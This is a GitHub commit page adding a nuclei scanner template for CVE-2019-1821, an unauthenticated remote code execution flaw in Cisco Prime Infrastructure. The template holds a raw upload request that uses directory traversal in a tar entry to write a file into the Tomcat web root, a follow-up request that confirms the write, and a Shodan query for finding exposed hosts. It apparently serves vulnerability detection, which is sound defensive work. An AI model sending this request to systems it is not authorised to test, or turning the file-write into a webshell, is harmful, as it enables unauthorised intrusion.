Merge pull request #3097 from projectdiscovery/CVE-2019-1821

Create CVE-2019-1821.yaml
patch-1
Prince Chaddha 2021-11-09 22:23:45 +05:30 committed by GitHub
commit fa2cad22f0
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 52 additions and 0 deletions

View File

@ -0,0 +1,52 @@
id: CVE-2019-1821
info:
name: Cisco Prime Infrastructure Unauthorized RCE (CVE-2019-1821)
author: _0xf4n9x_
severity: critical
description: Cisco Prime Infrastructure Health Monitor HA TarArchive Directory Traversal Remote Code Execution Vulnerability.
reference:
- https://srcincite.io/blog/2019/05/17/panic-at-the-cisco-unauthenticated-rce-in-prime-infrastructure.html
- https://nvd.nist.gov/vuln/detail/CVE-2019-1821
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-1821
metadata:
shodan-query: 'http.title:"prime infrastructure"'
tags: rce,fileupload,unauth,cve,cve2019
requests:
- raw:
- |
POST /servlet/UploadServlet HTTP/1.1
Host: {{Hostname}}
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
Primary-IP: 127.0.0.1
Filename: test.tar
Filesize: 10240
Compressed-Archive: false
Destination-Dir: tftpRoot
Filecount: 1
Content-Length: 269
Content-Type: multipart/form-data; boundary=871a4a346a547cf05cb83f57b9ebcb83
--871a4a346a547cf05cb83f57b9ebcb83
Content-Disposition: form-data; name="files"; filename="test.tar"
../../opt/CSCOlumos/tomcat/webapps/ROOT/test.txt0000644000000000000000000000000400000000000017431 0ustar 00000000000000{{randstr}}
--871a4a346a547cf05cb83f57b9ebcb83--
- |
GET /test.txt HTTP/1.1
Host: {{Host}}
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
req-condition: true
matchers:
- type: dsl
dsl:
- "status_code==200"
- "contains((body_2), '{{randstr}}')"
condition: and